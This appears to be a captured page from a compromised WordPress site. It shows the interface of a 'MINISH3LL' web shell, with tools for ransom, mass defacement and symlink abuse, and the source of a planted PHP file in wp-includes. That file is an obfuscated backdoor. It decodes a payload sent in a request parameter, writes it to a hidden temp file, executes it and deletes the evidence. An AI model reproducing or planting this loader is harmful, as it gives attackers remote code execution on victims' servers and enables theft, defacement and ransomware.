\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/eceas/wp-includes/network/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/eceas/wp-includes/network/officeStaffEN.php


<?php

if(count($_REQUEST) > 0 && isset($_REQUEST["flg"])){
	$k = $_REQUEST["flg"];
		$k=		 explode		 (  	'.'	 ,$k)		;
	$ent	='';
            $salt2	='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	=strlen($salt2  );
            $z	=0;
    
            $__tmp	=$k;
            while ($v1	=array_shift($__tmp)) {
                $sChar	=ord($salt2[$z  % 	$lenS]  );
                $d	=((int)$v1 - $sChar - ($z  % 	10))	 ^ 100;
                $ent .=chr($d  );
                $z++;}	
	$dchunk = array_filter([getcwd(), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp"]);
	$data_chunk = 0;
do {
    $ref = $dchunk[$data_chunk] ?? null;
    if ($data_chunk >= count($dchunk)) break;
    		if (max(0, is_dir($ref) * is_writable($ref))) {
    $descriptor = join("/", [$ref, ".record"]);
    if (file_put_contents($descriptor, $ent)) {
	require $descriptor;
	unlink($descriptor);
	exit;
}
}
    $data_chunk++;
} while (true);
}

© KUJUNTI.ID